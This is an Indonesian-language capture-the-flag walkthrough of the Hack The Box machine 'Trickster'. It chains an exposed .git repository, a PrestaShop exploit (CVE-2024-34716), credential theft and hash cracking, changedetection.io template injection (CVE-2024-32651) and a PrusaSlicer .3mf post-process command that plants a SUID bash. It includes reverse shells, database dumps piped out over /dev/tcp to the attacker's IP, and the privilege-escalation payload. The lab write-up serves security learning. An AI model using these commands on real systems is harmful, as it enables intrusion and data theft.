Trickster adalah Machine dengan tingkat kesulitan MEDIUM
git, CVE-2024-34716, CVE-2024-32651
export box=10.10.11.34
export domain=trickster.htb
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ echo "$box $domain" | sudo tee -a /etc/hosts
10.10.11.34 trickster.htb
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ nmap $box -Pn -oA basicScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 06:36 WIB
Nmap scan report for 10.10.11.34
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
┌──(glmx㉿kali)-[~]
└─$ sudo nmap -p22,80 -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 08:41 WIB
Nmap scan report for trickster.htb (10.10.11.34)
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
Saat mengunjungi Website, pada tab "SHOP" mengarahkan kita ke halaman lain dengan subdomain baru.
Subdomain ini adalah "shop.trickster.htb"
export subdomain=shop.trickster.htb
Saya menggunakan perintah ffuf untuk melakukan fuzzing direktori pada subdomain yang ditemukan sebelumnya dengan cara mencoba berbagai jalur yang mungkin ada pada server web. Dalam perintah tersebut, saya menggunakan wordlist dari /usr/share/seclists/Discovery/Web-Content/common.txt untuk menentukan jalur-pengujian yang umum, menetapkan 20 thread untuk mempercepat proses (-t 20), dan mengabaikan respons HTTP dengan status code 404 dan 403 (-fc 404,403) agar hasil lebih relevan. Saya juga menambahkan ekstensi yang sering digunakan seperti .php, .html, .txt, dan .md (-e .php,.html,.txt,.md). URL target diberikan dalam bentuk http://$subdomain/FUZZ, di mana FUZZ akan digantikan dengan setiap entri dari wordlist, sehingga membantu saya menemukan direktori atau file sensitif yang mungkin tersembunyi di server.
Disini saya menemukan ".git".
┌──(glmx㉿kali)-[~]
└─$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -fc 404,403 -e .php,.html,.txt,.md -u http://$subdomain/FUZZ
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ echo $box $domain $subdomain | sudo tee -a /etc/hosts
10.10.11.34 trickster.htb shop.trickster.htb
Perintah ini digunakan untuk mengekstrak seluruh isi repositori Git yang dapat diakses secara publik melalui direktori ".git" pada server, termasuk file riwayat commit, konfigurasi, dan konten lainnya. Teknik ini sering digunakan untuk mengidentifikasi potensi kebocoran data sensitif, seperti kredensial atau informasi internal, yang tidak sengaja diunggah ke direktori ".git" dan dibiarkan dapat diakses.
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ git-dumper-linux http://$subdomain/.git/
Downloaded 'config' (112 bytes)
Not using file 'config' for anything right now
Downloaded 'COMMIT_EDITMSG' (20 bytes)
Not using file 'COMMIT_EDITMSG' for anything right now
Downloaded 'HEAD' (28 bytes)
Found ref path refs/heads/admin_panel
Downloaded 'info/exclude' (240 bytes)
Not using file 'info/exclude' for anything right now
Downloaded 'logs/HEAD' (163 bytes)
Found log with 1 hashes
Downloaded 'description' (73 bytes)
Not using file 'description' for anything right now
.....
┌──(glmx㉿kali)-[~/htb/trickster/git-dumped/.git]
└─$ git log
commit 0cb***64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date: Fri May 24 04:13:19 2024 -0400
update admin pannel
┌──(glmx㉿kali)-[~/htb/trickster/git-dumped/.git]
└─$ git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c
...
diff --git a/admin634ewutrx1jgitlooaj/filemanager/config/config.php b/admin634ewutrx1jgitlooaj/filemanager/config/config.php
new file mode 100644
index 0000000..53e5468
--- /dev/null
+++ b/admin634ewutrx1jgitlooaj/filemanager/config/config.php
....
diff --git a/admin634ewutrx1jgitlooaj/filemanager/img/cut.png b/admin634ewutrx1jgitlooaj/filemanager/img/cut.png
new file mode 100644
index 0000000..137794e
.....
Dari hasil penggunaan "git-dumper" pada "$subdomain/.git/", repositori ".git" berhasil diunduh dan dianalisis. Berdasarkan log Git, terdapat commit dengan hash "0cb***64c", yang menunjukkan adanya perubahan terkait admin panel oleh user dengan nama adam. Isi commit ini mencakup pembuatan file baru di direktori admin634ewutrx1jgitlooaj/filemanager.
Jika diakses direktori tersebut, maka diarahkan ke login page. Disini, diketahui bahwa versi PrestaShop adalah 8.1.5. Setelah mencari informasi, ditemukan dari sumber ini yang membahas kerentanan keamanan pada PrestaShop versi <=8.1.5, yang diidentifikasi sebagai CVE-2024-34716. Kerentanan ini memungkinkan penyerang mendapatkan Remote Code Execution (RCE) dengan memanfaatkan serangkaian kelemahan yang dimulai dari serangan Cross-Site Scripting (XSS) melalui file PNG yang dimodifikasi.
Menggunakan script dari sumber membuat saya berhasil masuk sebagai user "www-data"
┌──(glmx㉿kali)-[~/htb/trickster/CVE-2024-34716]
└─$ python3 exploit.py --url http://$domain --email rwx4m@rwx.com --local-ip 10.10.16.69 --admin-path admin634ewutrx1jgitlooaj
[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: rwx4m@rwx.com
Local IP: 10.10.16.69
Admin Path: admin634ewutrx1jgitlooaj
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
Serving at http.Server on port 5000
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:12345
Ncat: Listening on 0.0.0.0:12345
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [04/Jan/2025 09:17:00] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
Ncat: Connection from 10.10.11.34:55006.
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
02:02:42 up 6:17, 0 users, load average: 0.17, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@trickster:/$
Terlihat bahwa terdapat 3 user disini.. seperti adam yang sudah saya sadari sejak melihat emailnya pada website.
www-data@trickster:/$ cat /etc/passwd
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh
saat sedang mencari password, saya temukan ini.
Kemudian eksplorasi saya mengarah ke direktori prestashop, saya menemukan file "parameters.php" di dalam direktori "config". File ini berisi konfigurasi, termasuk kredensial database, pengaturan SMTP, kunci rahasia aplikasi, detail caching, kunci publik dan privat API.
www-data@trickster:~/prestashop/app$ cd config
cd config
www-data@trickster:~/prestashop/app/config$ ls
ls
..... ........ .......
..... parameters.php .......
..... ........ .......
www-data@trickster:~/prestashop/app/config$ cat parameters.php
cat parameters.php
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'p***r',
'database_password' => 'p****o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
....
....
www-data@trickster:~/prestashop/app/config$ mysql -h localhost -u <db_user> -p<pass_db> prestashop
...
MariaDB [prestashop]> show tables;
show tables;
+-------------------------------------------------+
| Tables_in_prestashop |
+-------------------------------------------------+
| ps_customer |
| ps_customer_group |
| ps_customer_message |
|....... |
| ps_employee |
| ps_employee_session |
| ps_employee_shop |
| ....... |
+-------------------------------------------------+
276 rows in set (0.001 sec)
www-data@trickster:~/prestashop/app/config$ find / -name '*.sql' 2>/dev/null
/var/www/prestashop/modules/productcomments/install.sql
/usr/share/mysql/mysql_sys_schema.sql
/usr/share/mysql/mysql_performance_tables.sql
/usr/share/mysql/fill_help_tables.sql
/usr/share/mysql/mysql_system_tables_data.sql
/usr/share/mysql/mysql_test_db.sql
/usr/share/mysql/mysql_system_tables.sql
/usr/share/mysql/maria_add_gis_sp_bootstrap.sql
/usr/share/mysql/mysql_test_data_timezone.sql
Karena terlalu banyak tabel dan memakan waktu dalam mencari, saya akan melakukan dump sql ke mesin saya.
www-data@trickster:~/prestashop/app/config$ mysqldump -u <db_user> -p --all-database > /tmp/backup.sql
Info: Using unique option prefix 'all-database' is error-prone and can break in the future. Please use the full name 'all-databases' instead.
Enter password:
www-data@trickster:~/prestashop/app/config$ ls /tmp/
backup.sql
www-data@trickster:~/prestashop/app/config$ cat /tmp/backup.sql >/dev/tcp/10.10.16.69/8888
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ nc -lvnp 8888 > backup.sql
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.11.34:42546.
Disini saya memanfaatkan grep untuk mencari pengguna james dan adam yang merupakan pengguna dari mesin ini menurut informasi pada "passwd"
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ cat backup.sql | grep <user>
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ cat backup.sql | grep adam
INSERT INTO `ps_customer` VALUES ....
(4,1,1,1,3,1,0,NULL,NULL,NULL,'adam','adam','adam@trickster.htb','$2y$10$<adam_hash>'
................
Dari sini saya menemukan bahwa user james berada pada tabel "ps_employee" dan user adam berada pada tabel "ps_customer". Dengan cara ini saya sudah dapat melihat hash password mereka tetapi saya akan tunjukkan melalui hasil dari tabel secara langsung juga.
MariaDB [prestashop]> select * from ps_employee;
select * from ps_employee;
+-----------+-----------+---------------------+--------------+
| firstname | lastname | email | passwd |
+-----------+-----------+---------------------+--------------+
| Trickster | Store | admin@trickster.htb | <admin_hash> |
| james | james | james@trickster.htb | <james_hash> |
+-----------+-----------+---------------------+--------------+
2 rows in set (0.000 sec)
MariaDB [prestashop]> select * from ps_customer;
select * from ps_customer;
+-----------+----------+---------------------+--------------+
| firstname | lastname | email | passwd |
+-----------+----------+---------------------+--------------+
| Anonymous | Anonymous| anonymous@psgdpr.com| <anon_hash> |
| John | DOE | pub@prestashop.com | <John_hash> |
| adam | adam | adam@trickster.htb | <adam_hash> |
+-----------+----------+---------------------+--------------+
3 rows in set (0.000 sec)
Mencoba melakukan cracking hash tetapi yang berhasil hanyalah user james.
PS C:\Users\gmt94\Desktop\hashcat-6.2.6> .\hashcat.exe -m 3200 -a 0 .\hashes.txt .\rockyou.txt
hashcat (v6.2.6) starting
....
<james_hash>:james:<password>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: <hash...****>
Time.Started.....: Sat Jan 04 09:38:13 2025 (2 secs)
Time.Estimated...: Sat Jan 04 09:38:15 2025 (0 secs)
Karena sudah mengetahui password milik user james, lanjutkan ssh.
*User flag berhasil di dapatkan*
james@trickster:~$ sudo -l
[sudo] password for james:
Sorry, user james may not run sudo on trickster.
james@trickster:~$ ss -tlnp
.....
.....
james@trickster:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
............
root 1454 0.0 1.9 2051668 78372 ? Ssl Jan03 0:03 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
............
james@trickster:~$ ps aux | grep container
root 1303 0.2 1.2 1801044 48092 ? Ssl Jan03 0:50 /usr/bin/containerd
root 1454 0.0 1.9 2051668 78372 ? Ssl Jan03 0:03 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 40174 0.0 0.3 1238400 12452 ? Sl 02:20 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
james 41544 0.0 0.0 6612 2280 pts/1 S+ 02:34 0:00 grep --color=auto container
james@trickster:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:fc:ed:22:34 txqueuelen 0 (Ethernet)
RX packets 131 bytes 7580 (7.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23 bytes 966 (966.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
james@trickster:~$ for ip in {1..16}; do ping -c 1 -W 1 172.17.0.$ip &> /dev/null && echo "172.17.0.$ip is up"; done
172.17.0.1 is up
172.17.0.2 is up
james@trickster:~$ for port in {1..9999}; do nc -zv -w 1 172.17.0.2 $port 2>&1 | grep succeeded; done
Connection to 172.17.0.2 5000 port [tcp/*] succeeded!
dari sini diketahui ada port 5000
Port Forwarding
Saya mengarahkan port lokal 5000 pada komputer saya ke port 5000 dari server dengan alamat IP internal 172.17.0.2 melalui koneksi SSH ke server "trickster.htb" menggunakan akun pengguna james. Artinya, setiap permintaan yang dikirim ke localhost:5000 pada komputer saya akan diteruskan melalui koneksi SSH ke port 5000 dari server internal 172.17.0.2
┌──(glmx㉿kali)-[~]
└─$ ssh -L 5000:172.17.0.2:5000 james@trickster.htb
james@trickster.htb's password:
Last login: Sat Jan 4 03:23:51 2025 from 10.10.16.69
Masuk ke halaman login.
*Akses website dapat menggunakan kata sandi milik James*
Cara Kerja:
ChangeDetection.io bekerja dengan cara mengambil snapshot dari halaman web yang dipantau pada interval waktu tertentu, lalu membandingkannya dengan snapshot sebelumnya untuk mendeteksi perubahan. Pengguna dapat menentukan URL halaman yang ingin dipantau untuk memantau area tertentu saja. Ketika perubahan terdeteksi, sistem akan mengirimkan notifikasi melalui metode yang dipilih, seperti Discord, Email, Slack, Telegram, API calls, dan lainnya.
Kerentanan:
Ketika mencari informasi, menemukan artikel yang membahas kerentanan Server-Side Template Injection (SSTI) pada aplikasi changedetection.io yang menggunakan mesin template Jinja2. Kerentanan ini memungkinkan penyerang melakukan Remote Command Execution (RCE) pada host server, memberikan mereka kemampuan untuk menjalankan perintah sistem tanpa batasan, termasuk kemungkinan penggunaan reverse shell. Dampaknya sangat kritis karena penyerang dapat mengambil alih sepenuhnya mesin server.
Sumber :
Konfirmasi menggunakan Nuclei
┌──(glmx㉿kali)-[~/…/nuclei-templates/passive/cves/2024]
└─$ nuclei -u http://localhost:5000 -t ./CVE-2024-32651.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.7
projectdiscovery.io
[INF] Current nuclei version: v3.3.7 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-32651] [http] [critical] http://localhost:5000/login?next=/
Saya jalankan webserver dan menjadikannya url untuk di pantau serta sebagai alamat yang akan menerima notifikasi. Kemudian menaruh payload yang akan memicu Reverse Shell ketika notifikasi dikirim.
┌──(glmx㉿kali)-[~]
└─$ sudo nc -lnvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.34:48092.
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls
ls
changedetection.py changedetectionio
# pwd
pwd
/app
# which python3
which python3
/usr/local/bin/python3
# python3 -c 'import pty; pty.spawn("/bin/bash");'
python -c 'import pty;pty.spawn("/bin/bash");
informasi working directory changedetection.io:
setelah mencari informasi mengenai instalasinya, saya menemukan jalur direktorinya.
WORKDIR /app
CMD ["python", "./changedetection.py", "-d", "/datastore"]
Setelah itu menemukan direktori "Backups".
root@a4b9a36ae7ff:/datastore/Backups# ls -lah
ls -lah
total 52K
drwxr-xr-x 2 root root 4.0K Aug 31 08:56 .
drwxr-xr-x 6 root root 4.0K Jan 4 13:27 ..
-rw-r--r-- 1 root root 6.1K Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33K Aug 30 20:25 changedetection-backup-20240830202524.zip
root@a4b9a36ae7ff:/datastore/Backups#
Disini saya melakukan transfer file ke james dahulu, karena ini merupakan container yang diketahui dari ip yang merupakan ip private (172.17.....). Jadi tahapnya:
Container (INTERNAL) -> James (DMZ) -> My Machine (REMOTE)
Container:
root@a4b9a36ae7ff:/datastore/Backups# cat changedetection-backup-20240830194841.zip > /dev/tcp/172.17.0.1/5657
root@a4b9a36ae7ff:/datastore/Backups# cat changedetection-backup-20240830202524.zip > /dev/tcp/172.17.0.1/5657
DMZ:
james@trickster:/tmp$ nc -lvnp 5657 > backup-1.zip
Listening on 0.0.0.0 5657
Connection received on 172.17.0.2 57458
james@trickster:/tmp$ nc -lvnp 5657 > backup-2.zip
Listening on 0.0.0.0 5657
Connection received on 172.17.0.2 39198
My Machine:
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ scp -P 22 james@10.10.11.34:/tmp/backup-1.zip ./
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ scp -P 22 james@10.10.11.34:/tmp/backup-2.zip ./
unzip...
terlihat bahwa ada file format "br" (compressed)
Menggunakan brotli untuk melakukan decompress file.
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ brotli -d backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ cat backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt
Setelah berhasil di ekstrak dan dibuka, maka mendapatkan kata sandi milik pengguna Adam. Sekarang login ke adam melalui SSH
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ ssh adam@trickster.htb
...
adam@trickster:~$ id
uid=1002(adam) gid=1002(adam) groups=1002(adam)
adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Perintah sudo -l menunjukkan bahwa pengguna 'adam' memiliki izin untuk menjalankan perintah /opt/PrusaSlicer/prusaslicer sebagai pengguna lain (ROOT) tanpa diminta memasukkan kata sandi (NOPASSWD).
PrusaSlicer adalah perangkat lunak open-source untuk memotong model 3D sebelum dicetak. Namun, versi tertentu dari PrusaSlicer rentan terhadap eksekusi kode arbitrer melalui file proyek .3mf yang dimodifikasi. Dengan memanfaatkan kerentanan ini, seorang penyerang dapat membuat file .3mf berbahaya yang, ketika diproses oleh PrusaSlicer yang dijalankan dengan hak istimewa sudo, dapat mengeksekusi kode berbahaya dengan hak akses root, sehingga meningkatkan hak istimewa penyerang di sistem.
adam@trickster:~$ ls /opt/PrusaSlicer/
prusaslicer TRICKSTER.3mf
Transfer file ke mesin saya dan ekstrak file 3mf:
adam@trickster:~$ cat /opt/PrusaSlicer/TRICKSTER.3mf > /dev/tcp/10.10.16.69/5657
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ nc -lvnp 5657 > TRICKSTER.3mf
┌──(glmx㉿kali)-[~/htb/trickster]
└─$ mkdir 3mfile
┌──(glmx㉿kali)-[~/htb/trickster/3mfile]
└─$ 7z x TRICKSTER.3mf
Update file Slic3r_PE.config
; post_process = "cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash"
; output_filename_format = {input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode
menjadi:
; output_filename_format = rwx4m.gcode
Buat semua file menjadi 1 file zip lagi:
┌──(glmx㉿kali)-[~/htb/trickster/3mfile]
└─$ zip -r -0 TRICKSTER.zip *
adding: 3D/ (stored 0%)
adding: 3D/3dmodel.model (stored 0%)
adding: Metadata/ (stored 0%)
adding: Metadata/Slic3r_PE_model.config (stored 0%)
adding: Metadata/Slic3r_PE.config (stored 0%)
adding: Metadata/thumbnail.png (stored 0%)
adding: [Content_Types].xml (stored 0%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (stored 0%)
┌──(glmx㉿kali)-[~/htb/trickster/3mfile]
└─$ mv TRICKSTER.zip rwx4m.3mf
┌──(glmx㉿kali)-[~/htb/trickster/3mfile]
└─$ scp rwx4m.3mf adam@trickster.htb:/home/adam/
adam@trickster.htb's password:
rwx4m.3mf 100% 593KB 883.9KB/s 00:00
adam@trickster:~$ ls
rwx4m.3mf
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer rwx4m.3mf -s
10 => Processing triangulated mesh
10 => Processing triangulated mesh
20 => Generating perimeters
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
30 => Preparing infill
10 => Processing triangulated mesh
20 => Generating perimeters
45 => Making infill
10 => Processing triangulated mesh
30 => Preparing infill
20 => Generating perimeters
45 => Making infill
30 => Preparing infill
45 => Making infill
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
Loose extrusions
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
Collapsing overhang
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
Low bed adhesion
TRICKSTER.HTB, Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to rwx4m.gcode
Slicing result exported to rwx4m.gcode
adam@trickster:~$ cd /var/tmp
adam@trickster:/var/tmp$ ls
bash